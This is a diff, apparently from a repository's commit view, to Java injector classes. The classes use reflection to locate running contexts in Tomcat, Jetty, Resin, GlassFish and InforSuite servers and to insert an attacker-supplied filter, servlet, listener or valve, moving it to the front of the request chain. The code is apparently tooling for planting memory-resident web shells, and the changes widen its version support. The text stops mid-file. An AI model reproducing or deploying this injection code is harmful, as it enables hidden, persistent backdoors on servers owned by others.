@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
+1
-1
@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+39
-26
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.logging.Logger;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -128,17 +128,28 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
Object filterMap = filterMapClass.newInstance();
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
|
||||||
|
// addFilterMapFirst
|
||||||
try {
|
try {
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
Object filterMaps = getFieldValue(context, "filterMaps");
|
||||||
|
if (filterMaps instanceof List) {
|
||||||
|
// InforSuite9
|
||||||
|
((List<Object>) filterMaps).add(0, filterMap);
|
||||||
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
// InforSuite10
|
||||||
|
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
|
||||||
|
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||||
@@ -192,30 +203,36 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Field field = getField(obj, fieldName);
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
field.setAccessible(true);
|
field.setAccessible(true);
|
||||||
return field.get(obj);
|
return field.get(obj);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
Class<?> clazz = obj.getClass();
|
Field field = getField(obj, fieldName);
|
||||||
while (clazz != null) {
|
|
||||||
try {
|
|
||||||
Field field = clazz.getDeclaredField(fieldName);
|
|
||||||
field.setAccessible(true);
|
field.setAccessible(true);
|
||||||
return field;
|
field.set(obj, value);
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new NoSuchFieldException(fieldName);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -232,12 +249,8 @@ public class InforSuiteFilterInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+33
-50
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -44,7 +42,7 @@ public class JettyFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -86,70 +84,55 @@ public class JettyFilterInjector {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
String[] classNames = new String[]{
|
String[][] filterHolderClassNames = new String[][]{
|
||||||
"org.eclipse.jetty.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee11.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
|
||||||
"org.mortbay.jetty.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
|
||||||
};
|
};
|
||||||
|
|
||||||
Class<?> filterHolderClass = null;
|
Class<?> filterHolderClass = null;
|
||||||
|
Class<?> filterMappingClass = null;
|
||||||
|
|
||||||
for (String className : classNames) {
|
for (String[] classNames : filterHolderClassNames) {
|
||||||
try {
|
try {
|
||||||
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
|
filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
|
||||||
|
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
|
||||||
} catch (ClassNotFoundException ignored) {
|
} catch (ClassNotFoundException ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (filterHolderClass == null) {
|
if (filterHolderClass == null || filterMappingClass == null) {
|
||||||
throw new ClassNotFoundException("FilterHodler");
|
throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||||
Object filterHolder = constructor.newInstance(filter.getClass());
|
Object filterHolder = constructor.newInstance(filter.getClass());
|
||||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
|
||||||
moveFilterToFirst(servletHandler);
|
invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
|
||||||
|
|
||||||
|
Object filterMapping = filterMappingClass.getConstructor().newInstance();
|
||||||
|
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
|
||||||
|
|
||||||
|
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||||
|
Object[] newMappings = null;
|
||||||
|
int length = Array.getLength(mappings);
|
||||||
|
if (mappings == null || length == 0) {
|
||||||
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
|
||||||
|
} else {
|
||||||
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
|
||||||
|
System.arraycopy(mappings, 0, newMappings, 1, length);
|
||||||
|
}
|
||||||
|
newMappings[0] = filterMapping;
|
||||||
|
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
||||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||||
}
|
}
|
||||||
|
|
||||||
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
|
||||||
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
|
|
||||||
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
|
|
||||||
int filterLength;
|
|
||||||
|
|
||||||
if (filterMaps.getClass().isArray()) {
|
|
||||||
filterLength = Array.getLength(filterMaps);
|
|
||||||
for (int i = 0; i < filterLength; i++) {
|
|
||||||
Object filter = Array.get(filterMaps, i);
|
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
|
||||||
reorderedFilters.add(0, filter);
|
|
||||||
} else {
|
|
||||||
reorderedFilters.add(filter);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for (int i = 0; i < filterLength; i++) {
|
|
||||||
Array.set(filterMaps, i, reorderedFilters.get(i));
|
|
||||||
}
|
|
||||||
} else if (filterMaps instanceof ArrayList) {
|
|
||||||
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
|
||||||
for (Object filter : filterList) {
|
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
|
||||||
reorderedFilters.add(0, filter);
|
|
||||||
} else {
|
|
||||||
reorderedFilters.add(filter);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
filterList.clear();
|
|
||||||
filterList.addAll(reorderedFilters);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String toString() {
|
public String toString() {
|
||||||
return msg;
|
return msg;
|
||||||
|
|||||||
+1
-1
@@ -29,7 +29,7 @@ public class JettyListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+1
-1
@@ -42,7 +42,7 @@ public class JettyServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+7
-7
@@ -39,7 +39,7 @@ public class ResinFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -136,6 +136,11 @@ public class ResinFilterInjector {
|
|||||||
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(urlPattern, "init", null, null);
|
invokeMethod(urlPattern, "init", null, null);
|
||||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||||
|
|
||||||
|
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
|
||||||
|
filterMappings.remove(filterMappingImpl);
|
||||||
|
filterMappings.add(0, filterMappingImpl);
|
||||||
|
|
||||||
invokeMethod(context, "clearCache", null, null);
|
invokeMethod(context, "clearCache", null, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -193,8 +198,7 @@ public class ResinFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -211,12 +215,8 @@ public class ResinFilterInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+2
-7
@@ -38,7 +38,7 @@ public class ResinListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -182,8 +182,7 @@ public class ResinListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -200,12 +199,8 @@ public class ResinListenerInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+2
-7
@@ -40,7 +40,7 @@ public class ResinServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -183,8 +183,7 @@ public class ResinServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -201,12 +200,8 @@ public class ResinServletInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+79
-42
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -42,7 +43,7 @@ public class TomcatFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -60,6 +61,47 @@ public class TomcatFilterInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.apache.catalina.core.StandardContext
|
||||||
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getContextRoot(Object context) {
|
private String getContextRoot(Object context) {
|
||||||
String r = null;
|
String r = null;
|
||||||
@@ -76,34 +118,6 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
/**
|
|
||||||
* org.apache.catalina.core.StandardContext
|
|
||||||
* /usr/local/tomcat/server/lib/catalina.jar
|
|
||||||
*/
|
|
||||||
public Set<Object> getContext() throws Exception {
|
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
|
||||||
for (Object value : childrenMap.values()) {
|
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
|
||||||
contexts.addAll(children.values());
|
|
||||||
}
|
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
|
||||||
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
|
||||||
// need WebResourceRoot not DirContext
|
|
||||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
|
||||||
Object context = getFieldValue(resources, "context");
|
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return contexts;
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
@@ -137,15 +151,18 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
